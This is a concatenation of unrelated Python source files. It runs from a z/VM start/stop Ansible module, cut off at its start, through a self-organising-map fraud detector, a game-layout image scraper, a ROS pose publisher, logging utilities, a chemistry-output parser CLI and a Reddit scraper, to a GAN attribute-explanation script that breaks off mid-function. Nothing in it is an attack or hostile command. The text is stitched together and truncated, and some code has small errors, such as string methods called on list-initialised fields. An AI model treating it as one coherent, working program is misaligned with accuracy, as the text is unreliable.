    that however, so we support both methods.

options:
    name:
        description: this is the target user to be started or stopped
        required: true
        type: str
    loggedon:
        description: kinda like "exists" but for virtual machine instantiation
        required: true
        type: bool
    viaSMAPI:
        description: are we using SMAPI or CP XAUTOLOG|FORCE to start/stop the target user
        type: bool
    IPLdev:
        description: what device should the virtual machine IPL/Boot from once it logs on ?
        type: str
    CMD:
        description: pass a command to the operating system as it starts
        type: str
    stoptime:
        description:
            if we are logging a virtual machine off how long should we allow the OS to
            complete its internal shutdown. Time is in seconds.
        type: int

author:
    - Jay Brenneman (@rjbrenn)
'''

EXAMPLES = r'''
# start one up via SMAPI
- name: starting
  zvm_startstop_user:
    name: LINUX02
    loggedon: true
    viaSMAPI: true

# start one with XAUTOLOG and ask it to IPL the card reader
- name: start rdr
  zvm_startstop_user:
    name: LINUX02
    loggedon: true
    viaSMAPI: false
    IPLdev: 00c

# stop one with very little waiting
- name: force
  zvm_startstop_user:
    name: LINUX02
    loggedon: false
    viaSMAPI: false
    stoptime: 2

'''

RETURN = r'''
return_stdout:
    description: the stdout responses from smcli as a dict
    returned: always
    type: list
    elements: str
    sample: "...Done"
return_stderr:
    description: the stderr responses from smcli as a dict
    returned: always
    type: list
    elements: str
    sample: "HCPAUT053E LARRY not in CP directory"
return_code:
    description: The results of doing the thing
    type: int
    returned: always
    sample: 0
reason_code:
    description: The reason for the result
    type: int
    returned: always
    sample: 0
'''

from ansible.module_utils.basic import AnsibleModule

def run_module():
    module_args = dict(
        name=dict(type='str', required=True),
        loggedon=dict(type='bool', required=True),
        viaSMAPI=dict(type='bool', required=False),
        stoptime=dict(type='int', required=False),
        IPLdev=dict(type='str', required=False),
        CMD=dict(type='str', required=False)
    )

    result = dict(
        changed=False,
        return_stdout=[],
        return_stderr=[],
        return_code=-9,
        reason_code=-9
    )

    module = AnsibleModule(
        argument_spec=module_args,
        supports_check_mode=True
    )

    if module.check_mode:
        module.exit_json(**result)

    if module.params['loggedon']:
        # we are starting systems up
        # should we use SMAPI ?
        if module.params['viaSMAPI']:
            # we are starting systems using SMAPI
            smapi_up_cmd = []
            smapi_up_cmd.append("/opt/zthin/bin/smcli")
            smapi_up_cmd.append("Image_Activate")
            smapi_up_cmd.append("-T")
            smapi_up_cmd.append(module.params['name'])

            # check_rc=False because if we get rerun idempotently this may fail with 'already running'
            smcli_results = module.run_command(smapi_up_cmd, check_rc=False)
            result['return_stdout'] = smcli_results[1]
            result['return_stderr'] = smcli_results[2]
            result['return_code'] = smcli_results[0]
        else:
            # we are starting systems using XAUTOLOG
            xauto_up_cmd = []
            xauto_up_cmd.append("vmcp")
            xauto_up_cmd.append("xautolog")
            xauto_up_cmd.append(module.params['name'])
            if module.params['IPLdev'] is not None:
                xauto_up_cmd.append("IPL")
                xauto_up_cmd.append(module.params['IPLdev'])
            if module.params['CMD'] is not None:
                xauto_up_cmd.append("CMD")
                xauto_up_cmd.append(module.params['CMD'])

            # check_rc=False because if we get rerun idempotently this may fail with 'already running'
            vmcp_results = module.run_command(xauto_up_cmd, check_rc=False)
            result['return_stdout'] = vmcp_results[1]
            result['return_stderr'] = vmcp_results[2]
            result['return_code'] = vmcp_results[0]
    else:
        # we are shutting systems down
        # should we use SMAPI ?
        if module.params['viaSMAPI']:
            # we are shutting doen systems using SMAPI
            smapi_down_cmd = []
            smapi_down_cmd.append("/opt/zthin/bin/smcli")
            smapi_down_cmd.append("Image_Deactivate")
            smapi_down_cmd.append("-T")
            smapi_down_cmd.append(module.params['name'])
            if module.params['stoptime'] is not None:
                smapi_down_cmd.append("-f")
                smapi_down_cmd.append(str(module.params['stoptime']))

            # check_rc=False because if we get rerun idempotently this may fail with 'not running'
            smcli_results = module.run_command(smapi_down_cmd, check_rc=False)
            result['return_stdout'] = smcli_results[1]
            result['return_stderr'] = smcli_results[2]
            result['return_code'] = smcli_results[0]
        else:
            # we are shutting down systems using FORCE
            force_dn_cmd = []
            force_dn_cmd.append("vmcp")
            force_dn_cmd.append("force")
            force_dn_cmd.append(module.params['name'])
            if module.params['stoptime'] is not None:
                force_dn_cmd.append("within")
                force_dn_cmd.append(str(module.params['stoptime']))

            # check_rc=False because if we get rerun idempotently this may fail with 'not running'
            vmcp_results = module.run_command(force_dn_cmd, check_rc=False)
            result['return_stdout'] = vmcp_results[1]
            result['return_stderr'] = vmcp_results[2]
            result['return_code'] = vmcp_results[0]

    if result['return_code'] == 0:
        result['changed'] = True
        module.exit_json(**result)

    if result['return_code'] >= 1:
        notreally_errs = ["Image already active", "HCPUSO045E", "not logged on"]
        # notreally_errs is a list of VM error messages that are OK within this contect
        noterror_count = 0

        # an SMAPI error message comes back like this. The important parts are the
        # return code and the reason code
        #    "return_stdout": [
        #        "Defining thingone in the directory... ",
        #        "Failed",
        #        "  Return Code: 400",
        #        "  Reason Code: 8",
        #        "  Description: ULGSMC5400E Image or profile name already defined",
        #        "  API issued : Image_Create_DM"
        #    ]

        # this is gross but I looked at alternatives and they were less readable
        # scann return stdout and stderr for
        for j in notreally_errs:
            if result['return_stdout'].find(j) != -1:
                noterror_count += 1
        if noterror_count > 0:
            # optimistically guessing this is not an error condition
            # it might still actually be an error condition if there is a real error among the not-errors
            # will figure that out later if it ends up happening
            # exit no error
            result['return_stdout'] += ">>skipping an error because its probably OK in this situation<<"
            module.exit_json(**result)
        # here we are in error condition
        errormsg = "failing return code from smcli is: " + str(result['return_code'])
        module.fail_json(errormsg, **result)

    errormsg = "unknown return code from smcli: " + str(result['return_code'])
    result['return_stderr'] = ["how did we get here???"]
    module.fail_json(errormsg, **result)

def main():
    run_module()

if __name__ == '__main__':
    main()


import numpy as np
import pandas as pd
import matplotlib as plt

dataset = pd.read_csv('C:/Users/SHUBHAM TOTLA/Desktop/Data analytics/Deep Learning/Self_Organizing_Maps/Credit_Card_Applications.csv')
x = dataset.iloc[:,:-1].values
y = dataset.iloc[:,-1].values#Customer approval 0 =not approved and  1 =approved

#Feature Scaling

from sklearn.preprocessing import MinMaxScaler
sc= MinMaxScaler(feature_range = (0,1))
x= sc.fit_transform(x)

#Training the SOM

#minisom.py is an inbuilt lib alreaddy built by another developer
from minisom import MiniSom
som = MiniSom(x=10, y=10, input_len=15, sigma=1, learning_rate=0.5)
#x and y are dimensions of grid  as observations are less we take 10x10 dim
#input_len = no of features in x
#sigma = radius default value is 1
som.random_weights_init(x)#Randomly initialzes weight
som.train_random(data=x,num_iteration = 100)

#Visulaizing the results

#mean to neuron distance (mid) is mean of distances of all neuron around the radius of winning node
#The higher the mid the more the winning node is outlier(potential frauds)

from pylab import bone, pcolor, colorbar, plot, show
bone()
#Put different winning nodes(closest) on map
#distance map gets mid of all winning nodes.

pcolor(som.distance_map().T)
colorbar()
#Therefore higher mid means white color and they are outliers(potential frauds)
markers= [ 'o', 's']
colors = [ 'r','g']
#i = indices of customers i.e., 0,1,...689
#j = 1st customer vextor then 2nd customer vector ..
for i,j in enumerate(x):
    #First will get winning node of j customer..
    w = som.winner(j)
    #On this winning node place marker on it i.e., whether this customer get approval or not
    plot(w[0]+0.5, w[1]+0.5, markers[y[i]], markeredgecolor = colors[y[i]], markerfacecolor = 'None', markersize = 10, markeredgewidth = 2)
    #0.5 to put it at center of square
    #markers[y[i]]  means if customer didn't get approval then y[i] =0 and markers[0] = o
    #markerfacecolor is inside color
show()
#Green means customer got approved
#Red means customer was not approved
#For outliers there is high risks of fraud and there are some customers who got approved and some not approved and we need to catch those who got approved

#Finding the Frauds
mapping =som.win_map(x)
#This gives all the customer associated to particular winning nodes i.e., 10 customers in (0,0) winning node
frauds = np.concatenate((mapping[(1,1)], mapping[(5,2)], mapping[(3,8)]),axis=0)#(8,1) are co-ordinates of first white box from the map
frauds = sc.inverse_transform(frauds)

#Going to Un-Supervised to Supervised to get the probability of customer to attempt fraud

#Create matrix of features that will help to predict probability of fraud
customers = dataset.iloc[:,1:].values

#Creating dependent variable i.e, 0 if no fraud and 1 if fraud
is_fraud = np.zeros(len(dataset))
for i in range(len(dataset)):
    # i is rows and 0 means customerid (means checking customerid is there in fraud)
    if dataset.iloc[i,0] in frauds:
        is_fraud[i] = 1

#Train ANN

# Feature Scaling
from sklearn.preprocessing import StandardScaler
sc = StandardScaler()
customers = sc.fit_transform(customers)

# Part 2 - Now let's make the ANN!

# Importing the Keras libraries and packages
import keras
from keras.models import Sequential
from keras.layers import Dense

# Initialising the ANN
classifier = Sequential()

# Adding the input layer and the first hidden layer i.e., 6 hidden layers and 15 inputs
classifier.add(Dense(units = 2, kernel_initializer = 'uniform', activation = 'relu', input_dim = 15))

# Adding the output layer
classifier.add(Dense(units = 1, kernel_initializer = 'uniform', activation = 'sigmoid'))

# Compiling the ANN
classifier.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])

# Fitting the ANN to the Training set
classifier.fit(customers, is_fraud, batch_size = 1, epochs = 2)

# Part 3 - Making predictions and evaluating the model

# Predicting the Test set results
y_pred = classifier.predict(customers)
y_pred = np.concatenate((dataset.iloc[:,0:1], y_pred),axis=1)# 1st column: customer id 2nd column probability of fraud
y_pred = y_pred[y_pred[:,1].argsort()]#Sorted predicted probabilities


import os
import requests
from bs4 import BeautifulSoup
from utils import Utils

class BaseDownloader:
    def __init__(self, min_th_version = 3, max_th_version = 15):
        self.base_url = 'https://www.clasher.us/clash-of-clans/layouts/'
        self.min_th_version = min_th_version
        self.max_th_version = max_th_version
        self.out_folder = 'layouts'
        self.create_folder(self.out_folder)
        self.current_th = None
        self.utils = Utils()

    def __format_params(self, params):
        string = []
        for each_key, value in params.items():
            string.append("{}={}".format(each_key, value))
        return "&".join(string)

    def get_request(self, url, params={"page": 94}):
        print('Getting Url {}?{}'.format(url, self.__format_params(params)))
        response = requests.get(url, params=params)
        return self.get_base_content(response.content)

    def create_folder(self, folder_path):
        if not os.path.exists(folder_path):
            os.makedirs(folder_path)

    def download_image(self, url):
        response = requests.get(url)
        if response.status_code == 200:
            with open('layouts/{}/{}'.format(self.current_th, os.path.basename(url)), 'wb') as fptr:
                fptr.write(response.content)

    def get_base_content(self, content):
        soup = BeautifulSoup(content, features="lxml")
        check = soup.find('div', {'class' : ['alert', 'alert-dismissible', 'alert-danger']})
        if check:
            return False
        images = soup.find_all('img', {'data-src' != None})
        invalid_images = 0
        image_array = []
        for image in images:
            try:
                if self.current_th in image['alt'].split(' ')[0].lower():
                    image_array.append(image['data-src'].replace('thumb', 'full'))
                else:
                    invalid_images += 1
            except:
                invalid_images += 1
        self.utils.run_parallel(self.download_image, 20, image_array)
        return (invalid_images != len(images))

    def solve_for_th(self, th_level):
        url_for_th = "{}town-hall-{}".format(self.base_url, th_level)
        params={"page": 1}
        self.current_th = 'th{}'.format(th_level)
        self.create_folder(os.path.join(self.out_folder, self.current_th))
        while self.get_request(url_for_th, params):
            params["page"] += 1

    def run_downloader(self):
        for i in range(self.min_th_version, self.max_th_version + 1):
            self.solve_for_th(i)

if __name__ == "__main__":
    base_downloader = BaseDownloader()
    base_downloader.run_downloader()


#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__ = "Raul Perula-Martinez"
__copyright__ = "Social Robots Group. Robotics Lab. University Carlos III of Madrid"
__credits__ = ["Raul Perula-Martinez"]
__license__ = "LEUC3M v1.0"
__version__ = "0.0.0"
__maintainer__ = "Raul Perula-Martinez"
__email__ = "raul.perula@uc3m.es"
__status__ = "Development"

import math

from geometry_msgs.msg import PoseWithCovarianceStamped, Quaternion
from tf.transformations import quaternion_from_euler

import roslib
import rosparam
import rospy

pkg_name = "maggie_navigation_config"
roslib.load_manifest(pkg_name)

class InitialposeSender():

    """
    InitialposeSender class.
    """

    def __init__(self):
        """
        Init method.
        """

        # publishers and subscribers
        self.__initialpose_pub = rospy.Publisher('initialpose',
                                                 PoseWithCovarianceStamped,
                                                 queue_size=1,
                                                 latch=True)

    def run(self):
        """
        Spinner of the node.

        @raise KeyError: exception when dictionary has an invalid key.
        @raise rosparam.RosParamException: exception when cannot open the config file.
        """

        try:
            # read the data from the yaml file
            #             data = rosparam.load_file(roslib.packages.get_pkg_dir(pkg_name) + "/config/map_1.3.C12_initialpose.yaml",
            #                                       rospy.get_name())
            data = rosparam.load_file(roslib.packages.get_pkg_dir(pkg_name) + "/config/roboticslab_complete_clean_initialpose.yaml",
                                      rospy.get_name())
            try:
                # the place label come from the request
                place_data = data[0][0]

                # fill the msg with the data of the file
                msg = PoseWithCovarianceStamped()

                msg.header.frame_id = "/map"
                msg.header.stamp = rospy.Time.now()

                msg.pose.pose.position.x = place_data['x']
                msg.pose.pose.position.y = place_data['y']
                msg.pose.pose.position.z = 0

                msg.pose.covariance[0] = place_data['cov_x']
                msg.pose.covariance[7] = place_data['cov_y']
                msg.pose.covariance[35] = place_data['cov_th']

                # convert from (roll, pitch, yaw) to quaternion
                quat = quaternion_from_euler(0.0, 0.0, place_data['th'])
                msg.pose.pose.orientation = Quaternion(*quat.tolist())

                # publish the initial position
                self.__initialpose_pub.publish(msg)
            except KeyError:
                rospy.logerr('[INITIAL_STATUS_SENDER] Error.')
        except rosparam.RosParamException:
            rospy.logerr('[INITIAL_STATUS_SENDER] Error loading config file')

if __name__ == '__main__':
    try:
        # start the node
        rospy.init_node(pkg_name)

        # create and spin the node
        node = InitialposeSender()
        node.run()

        rospy.spin()
    except rospy.ROSInterruptException:
        pass


"""Logging routines"""
import logging, sys, traceback, os
from argparse import *
from .parts import *
from .fileio import ensure_path
__all__ = ["get_python_logger", "add_file_handler", "reset_logger", "LogTwo", "SmartFormatter", "str_exc", "get_new_logger",
           "log_exception_as_info"]

def reset_logger():
    global _python_logger, _fmtr
    _python_logger = None
    _fmtr = None

_python_logger = None
_fmtr = None
def _get_fmtr():
    global _fmtr
    if _fmtr is None:
        import a107
        _fmtr = logging.Formatter(a107.logging_fmt)
    return _fmtr

def get_python_logger(name=None):
    """Returns logger to receive Python messages.

    At first call, _python_logger is created. At subsequent calls, _python_logger is returned.
    Therefore, if you want to change `a107.flag_log_file` or `a107.flag_log_console`, do so
    before calling get_python_logger(), otherwise these changes will be ineffective.
    """
    import a107
    global _python_logger
    if _python_logger is None:
        _python_logger = get_new_logger(name=name)

    return _python_logger

def get_new_logger(level=None, flag_log_console=None, flag_log_file=None, fn_log=None, name=None):
    """Creates new logger (automatically creates log file directory if needed."""
    import a107
    if name is None:
        name = a107.logging_name
    if level is None:
        level = a107.logging_level
    if  flag_log_console is None:
        flag_log_console = a107.flag_log_console
    if  flag_log_file is None:
        flag_log_file = a107.flag_log_file
    if  fn_log is None:
        fn_log = a107.fn_log
    logger = logging.Logger(name, level=level)
    if flag_log_file:
        dir_ = os.path.split(fn_log)[0]
        if dir_: ensure_path(dir_)
        add_file_handler(logger, fn_log)
    if flag_log_console:
        ch = logging.StreamHandler()
        ch.setFormatter(_get_fmtr())
        logger.addHandler(ch)
    return logger

def add_file_handler(logger, logFilename=None):
    """Adds file handler to logger.

    File is opened in "a" mode (append)
    """
    assert isinstance(logger, logging.Logger)
    ch = logging.FileHandler(logFilename, "a")
    # ch.setFormatter(logging._defaultFormatter) # todo may change to have same formatter as last handler of logger
    ch.setFormatter(_get_fmtr())
    logger.addHandler(ch)

@froze_it
class LogTwo(object):
    """Logs messages to both stdout and file."""
    def __init__(self, filename):
        self.terminal = sys.stdout
        self.log = open(filename, "w")

    def write(self, message):
        self.terminal.write(message)
        self.log.write(message)

    def close(self):
        self.log.close()

class SmartFormatter(RawDescriptionHelpFormatter):
    """
    Help formatter that will show default option values and also respect
    newlines in description. Neither are done by the default help formatter.
    """

    def _get_help_string(self, action):
        help = action.help
        if '%(default)' not in action.help:
            if action.default is not SUPPRESS:
                defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
                if action.option_strings or action.nargs in defaulting_nargs:
                    help += ' (default: %(default)s)'
        return help

        # # this is the RawTextHelpFormatter._split_lines
        # if text.startswith('R|'):
        #     return text[2:].splitlines()
        # return argparse.ArgumentDefaultsHelpFormatter._split_lines(self, text, width)

def str_exc(E):
    """Generates a string from an Exception"""
    return "{0!s}: {1!s}".format(E.__class__.__name__, str(E))

format_exc = str_exc

def log_exception_as_info(logger, e, title):
    """Logs exception as info. Should be called inside an 'except' clause

    I found out that apparently the console is always polluted if we call logger.exception(), so I am calling
    ...info() instead."""
    logger.info(title+": "+str_exc(e)+"\n"+traceback.format_exc())


import argparse
from pathlib import Path

from .main import parse

def main():
    parser = argparse.ArgumentParser(
        description="Parse Quantum Chemistry output files into structured JSON or "
        "Python objects."
    )
    parser.add_argument("program", help="Name of the program")
    parser.add_argument("filepath", help="Path to the file")
    parser.add_argument(
        "--filetype", help="Type of file. Defaults to 'stdout'", default="stdout"
    )

    args = parser.parse_args()

    single_point_results = parse(Path(args.filepath), args.program, args.filetype)
    # Hacking in pretty print since probably preferred for most users
    # Can update to result.json(indent=4) when this PR accepted
    # https://github.com/MolSSI/QCElemental/pull/307
    print(single_point_results.model_dump_json(indent=4))


"""The main file."""
from views import *
from database_manager import db_manager
from img_download import img_url_handler
from json_loader import get_reddit
from json_loader import get_settings
from sub_scrape import sub_scrape
from pathlib import Path
from datetime import date
from calendar import monthrange
from time import sleep
from _thread import start_new_thread
import schedule

reddit_account = get_reddit()

def get_posts(db, subreddit, time_filter):
    img_path = 'static/images/' + subreddit + '/'
    scraper = sub_scrape(subreddit, reddit_account)
    print("Started\n Getting top posts from {} {}...\n".format(time_filter, subreddit))
    img_handler = img_url_handler(subreddit, img_path)
    scraper.get_posts(time_filter, db, img_handler)
    print('Time for next subreddit \n\n')
    return

def daily_run(db):
    """
    Connects to the database, creates a table for each subreddit
    and checks if its empty.
    """
    for each in subreddits:
        db.create_connect()
        db.create_table( each)
        db.table = each
        rows = db.is_empty()
        if rows == 0:
            get_posts(db, each, 'all')
        else:
            date_check(db, each)
        db.close_conn()
    return

def date_check(db, subreddit):
    today = date.today()
    days_in_month = monthrange(today.year, today.month)[1]
    if str(today.day) == '1':
        get_posts(db, subreddit, 'month')
    else:
        print('Time left till next reddit scrape: ', days_in_month - today.day)
    return

def flaskThread():
        app.run(host='0.0.0.0', use_reloader=False, debug=False, threaded=True)

start_new_thread(flaskThread, ())
schedule.every().day.at('12:00').do(daily_run, db_m)

while True:
    schedule.run_pending()
    sleep(1)


import torch
from dataset import get_dataset
from torchvision import transforms, models, utils
from model import Generator, Encoder, Discriminator
import argparse
from tqdm import tqdm
from PIL import Image, ImageDraw, ImageFont
import os
import numpy as np
from torch.nn import functional as F
import math

def sigmoid(x):
    return 1 / (1 + math.exp(-x))

@torch.no_grad()
def get_logits_latents_prob(dataset, classifier, encoder, generator, args):
    """
    return three dictionaries in which the keys are the indices of images in dataset
    logits: values are the classifier logits output for images
    latents: values are the encoder ouputs for images
    probs: values are the classifier probabilitis for images
    """

    logits, latents, prob = dict(), dict(), dict()
    indices = [idx for idx in range(args.n_sample)]

    if args.source == "data":
        # generate from data
        for idx in tqdm(indices):
            img, _ = dataset[idx]

            img = img.to(args.device)
            img = img.unsqueeze(0)

            out = classifier(img)
            logits[idx] = out

            # get latent for image using the encoder
            w = encoder(img)
            latents[idx] = w
    else:
        # generate from noise
        for idx in tqdm(indices):
            sample_z = torch.randn(1, 512, device=args.device)

            img, _ = generator([sample_z], input_is_latent=False)
            out = classifier(img)
            logits[idx] = out

            # get latent for image using generator mapping network
            w = generator.get_latent(sample_z)
            latents[idx] = w

    for i in range(len(logits)):
        prob[i] = torch.sigmoid(logits[i].squeeze(0))

    return logits, latents, prob

@torch.no_grad()
def get_logits_diff(generator, classifier, eigvec, filterd_idx, logits, latents, args):

    logits_diff = dict()

    print("Checking %d styles..." % args.nof_eigenv)

    for eigenvec_idx in range(args.nof_eigenv):
        print(" Style %d" % eigenvec_idx)
        direction = args.degree * eigvec[:, eigenvec_idx]

        for idx in tqdm(filterd_idx):
            changed_latent = torch.stack([latents[idx] + direction, latents[idx] - direction]).squeeze(1)
            changed_latent.to(args.device)

            changed_img, _ = generator([changed_latent], input_is_latent=True)
            changed_logit = classifier(changed_img)

            logit_diff_pos = changed_logit[0] - logits[idx].squeeze(0)
            logit_diff_neg = changed_logit[1] - logits[idx].squeeze(0)

            logits_diff[(idx, eigenvec_idx)] = [logit_diff_pos, logit_diff_neg]

    return logits_diff

def get_logits_means(nof_eigenv, logits_diff, class_label, nof_images):
    # calc means
    means = {(eigen_idx, 'pos'): 0 for eigen_idx in range(nof_eigenv)}
    means.update({(eigen_idx, 'neg'): 0 for eigen_idx in range(nof_eigenv)})

    for (_, eigen_idx), diff in logits_diff.items():
        diff_pos = diff[0]
        means[(eigen_idx, 'pos')] += diff_pos[class_label].item()

        diff_neg = diff[1]
        means[(eigen_idx, 'neg')] += diff_neg[class_label].item()

    for key in means.keys():
        means[key] /= nof_images

    # Get rid of inconsistent changes
    for eigen_idx in range(nof_eigenv):
        if means[(eigen_idx, 'pos')] > 0 and means[(eigen_idx, 'neg')] > 0:
            means[(eigen_idx, 'pos')] = 0
            means[(eigen_idx, 'neg')] = 0
    return means

def get_most_significant_eigens_and_direct(logits_means, args):
    sort_significant_eigendirect = sorted(logits_means.items(), key=lambda x: x[1], reverse=True)[
                                   :args.nof_significant_eigenv]
    sort_significant_eigendirect = dict(sort_significant_eigendirect)

    print("EV\tDirection\tDiff")
    for (eigen, sign) in sort_significant_eigendirect:
        print("%d\t%s\t%.2f" % (eigen, sign, sort_significant_eigendirect[(eigen, sign)]))

    return sort_significant_eigendirect

@torch.no_grad()
def get_prob_diff(generator, classifier, eigvec, filterd_idx, latents, prob, args):
    prob_diff, prob_after = dict(), dict()

    print("Checking %d styles..." % args.nof_eigenv)

    for eigenvec_idx in range(args.nof_eigenv):
        print(" Style %d" % eigenvec_idx)
        direction = args.degree * eigvec[:, eigenvec_idx]

        for idx in tqdm(filterd_idx):
            changed_latent = torch.stack([latents[idx] + direction, latents[idx] - direction]).squeeze(1)
            changed_latent.to(args.device)

            changed_img, _ = generator([changed_latent], input_is_latent=True)
            changed_logit = classifier(changed_img)
            changed_prob = [torch.sigmoid(l) for l in changed_logit]

            prob_diff_pos = changed_prob[0] - prob[idx].squeeze(0)
            prob_diff_neg = changed_prob[1] - prob[idx].squeeze(0)

            prob_diff[(idx, eigenvec_idx)] = [prob_diff_pos, prob_diff_neg]
            prob_after[(idx, eigenvec_idx)] = changed_prob

    return prob_diff, prob_after

def get_prob_means(nof_eigenv, prob_diff, class_label, nof_images):
    # calc means
    means = {(eigen_idx, 'pos'): 0 for eigen_idx in range(nof_eigenv)}
    means.update({(eigen_idx, 'neg'): 0 for eigen_idx in range(nof_eigenv)})

    for (_, eigen_idx), diff in prob_diff.items():
        diff_pos = diff[0]
        means[(eigen_idx, 'pos')] += diff_pos[class_label].item()

        diff_neg = diff[1]
        means[(eigen_idx, 'neg')] += diff_neg[class_label].item()

    for key in means.keys():
        means[key] /= nof_images

    # Get rid of inconsistent changes
    for eigen_idx in range(nof_eigenv):
        if means[(eigen_idx, 'pos')] > 0 and means[(eigen_idx, 'neg')] > 0:
            means[(eigen_idx, 'pos')] = 0
            means[(eigen_idx, 'neg')] = 0
    return means

def get_most_significant_eigens_and_direct_in_prob(prob_means, args):
    sort_significant_eigendirect = sorted(prob_means.items(), key=lambda x: x[1], reverse=True)[
                                   :args.nof_significant_eigenv]
    sort_significant_eigendirect = dict(sort_significant_eigendirect)

    print("EV\tDirection\tDiff")
    for (eigen, sign) in sort_significant_eigendirect:
        print("%d\t%s\t%.2f" % (eigen, sign, sort_significant_eigendirect[(eigen, sign)]))

    return sort_significant_eigendirect

def att_find(eigvec, generator, encoder, classifier, dataset, args):

    logits, latents, prob = get_logits_latents_prob(dataset, classifier, encoder, generator, args)

    # keep only images with label != args.class_label.
    # FIXME- works only for two classes
    other_label = 1 - args.class_label

    # create list of image indices which are not classified as 'class_label'
    filterd_idx = set()
    for i, l in logits.items():
        l = l.detach().cpu().squeeze().numpy().tolist()
        if l[args.class_label] < l[other_label]:
            filterd_idx.add(i)

    max_num_images = len(filterd_idx)
    print("%d images with label %d will be processed" % (max_num_images, other_label))

    # calculate diff between original and changed image logits for each eigenvector
    if args.prob_thre:
        prob_diff, prob_after = get_prob_diff(generator, classifier, eigvec, filterd_idx, latents, prob, args)
        prob_means = get_prob_means(args.nof_eigenv, prob_diff, args.class_label, len(filterd_idx))
        most_significant_eigendirect = get_most_significant_eigens_and_direct_in_prob(prob_means, args)

    else:
        logits_diff = get_logits_diff(generator, classifier, eigvec, filterd_idx, logits, latents, args)
        # get mean logit diffs per eigenvector
        logits_means = get_logits_means(args.nof_eigenv, logits_diff, args.class_label, len(filterd_idx))
        # get top args.nof_significant_eigenv eigenvectors
        most_significant_eigendirect = get_most_significant_eigens_and_direct(logits_means, args)

    result_explained_images = dict()
    filterd_image_idx = filterd_idx.copy()

    for (eigen_idx, eigen_direct), diff in most_significant_eigendirect.items():
        explained_image_idx = dict()
        sign_idx = 0 if (eigen_direct == 'pos') else 1
        if args.prob_thre:
            for image_idx in filterd_image_idx:
                prob_change_diff = prob_diff[(image_idx, eigen_idx)]
                prob_change = prob_change_diff[sign_idx][args.class_label]
                prob_after_change = prob_after[(image_idx, eigen_idx)][sign_idx][args.class_label]

                prob_before_change = prob[image_idx][args.class_label]

                if ((float(prob_before_change) < 0.5) and (float(prob_after_change) > 0.5)) or \
                        ((float(prob_before_change) > 0.5) and (float(prob_after_change) < 0.5)):
                    explained_image_idx[image_idx] = prob_change
        else:
            for image_idx in filterd_image_idx:
                logits_change_diff = logits_diff[(image_idx, eigen_idx)]
                logits_change = logits_change_diff[sign_idx][args.class_label]

                if logits_change > args.change_threshold:
                    explained_image_idx[image_idx] = logits_change

        if len(explained_image_idx) == max_num_images:
            print('Eigenvector %d:%s explained all images' % (eigen_idx, eigen_direct))
            result_explained_images[(eigen_idx, eigen_direct)] = explained_image_idx
            filterd_image_idx = filterd_image_idx - explained_image_idx.keys()
            break

        if len(explained_image_idx) == 0:
            print('Eigenvector %d:%s explained no images' % (eigen_idx, eigen_direct))
            continue

        result_explained_images[(eigen_idx, eigen_direct)] = explained_image_idx
        print('Eigenvector %d:%s explained %d images' % (eigen_idx, eigen_direct, len(explained_image_idx)))

        filterd_image_idx = filterd_image_idx - explained_image_idx.keys()

        if len(filterd_image_idx) == 0:
            print('100% of images explained')
            break

    unexplained_count = len(filterd_image_idx)
    if unexplained_count != 0:
        explained_count = max_num_images - unexplained_count
        explained_frac = explained_count / max_num_images
        print("%.2f%% (%d/%d) of images explained" % (explained_frac, explained_count, max_num_images))

    return result_explained_images, logits, latents

def save_explained_images(result_explained_images, dataset, num_images):
    for (eigen_idx, eigen_direct), exp_image_idx in result_explained_images.items():
        filename = str(eigen_idx) + '_' + str(eigen_direct) + '.png'
        sampled_explained_images = []
        i = 0
        for explained_idx in exp_image_idx.keys():
            sampled_explained_images.append(dataset[explained_idx][0])
            i += 1
            if i == num_images:
                break
        utils.save_image(
            sampled_explained_images,
            filename,
            nrow=int(num_images ** 0.5),
            normalize=True,
            value_range=(-1, 1),
        )

def write_prob(img_tensor, prob):
    # write probability on each image
    font_file = "ARIALUNI.ttf"
    fill_color = (0, 0, 255)  # blue
    txt_font = ImageFont.truetype(font_file, 20)

    for i in range(img_tensor.shape[0]):
        # this is a hack
        image = utils.make_grid(img_tensor[i, :], int=1, normalize=True)
        im_arr = image.mul(255).add_(0.5).clamp_(0, 255).permute(1, 2, 0).to('cpu', torch.uint8).numpy()

        img_to_draw = Image.fromarray(im_arr)
        draw = ImageDraw.Draw(img_to_draw)
        draw.multiline_text((8, 8), ('%.2f' % (prob[i])), font=txt_font, fill=fill_color)

        out_image = torch.from_numpy(np.array(img_to_draw)).permute(2, 0, 1).to(dtype=torch.uint8)

        img_tensor[i, :] = out_image

    return img_tensor

def get_probablities(set_logits, set_logits_diffs, class_label):
    # convert logits to porbs
    logits_before = [l.squeeze(0) for l in set_logits]
    logits_before = [l[class_label] for l in logits_before]
    prob_before = [torch.sigmoid(l) for l in logits_before]

    # sum logits to get prob. after change
    logits_sum = [l1 + l2 for l1, l2 in zip(logits_before, set_logits_diffs)]
    prob_after = [torch.sigmoid(l) for l in logits_sum]

    return prob_before, prob_after

def get_discriminator_scores(d, img_before, img_after, batch_size, args):
    before_labels = torch.tensor([args.class_label], device=args.device)
    before_labels = before_labels.repeat([batch_size, 1])
    before_labels = F.one_hot(before_labels, num_classes=2)
    d_res_before = F.softplus(d(img_before, labels=before_labels)).mean().item()

    other_label = 1 - args.class_label
    after_labels = torch.tensor([other_label], device=args.device)
    after_labels = after_labels.repeat([batch_size, 1])
    after_labels = F.one_hot(after_labels, num_classes=2)
    d_res_after = F.softplus(d(img_after, labels=after_labels)).mean().item()

    return d_res_before, d_res_after

@torch.no_grad()
def save_changed_images(result_explained_images, generator, discriminator, eigvec, logits, latents,
                        num_images, dataset, args):
    g = generator
    d = discriminator
    for (eigen_idx, eigen_direct), exp_image_idx in result_explained_images.items():
        num_images = len(exp_image_idx) if len(exp_image_idx) < num_images else num_images

        # sort images by their diff, the most "explained" image first
        image_idx_set = sorted(exp_image_idx, key=exp_image_idx.get, reverse=True)[:num_images]

        # get latents for image set
        latent = [latents.get(key) for key in image_idx_set]
        latent = torch.stack(latent).squeeze(1)
        latent.to(args.device)

        direction = args.degree * eigvec[:, eigen_idx].unsqueeze(0)
        change_direct = 1 if eigen_direct == 'pos' else -1

        img, _ = g(
            [latent],
            input_is_latent=True
        )
        img1, _ = g(
            [latent + direction * change_direct],
            input_is_latent=True,
        )

        # get class prob. before and after change
        set_logits = [logits.get(key) for key in image_idx_set]
        set_logits_diffs = [exp_image_idx.get(key) for key in image_idx_set]
        prob_before, prob_after = get_probablities(set_logits, set_logits_diffs, args.class_label)

        # write after change probabilities on the images
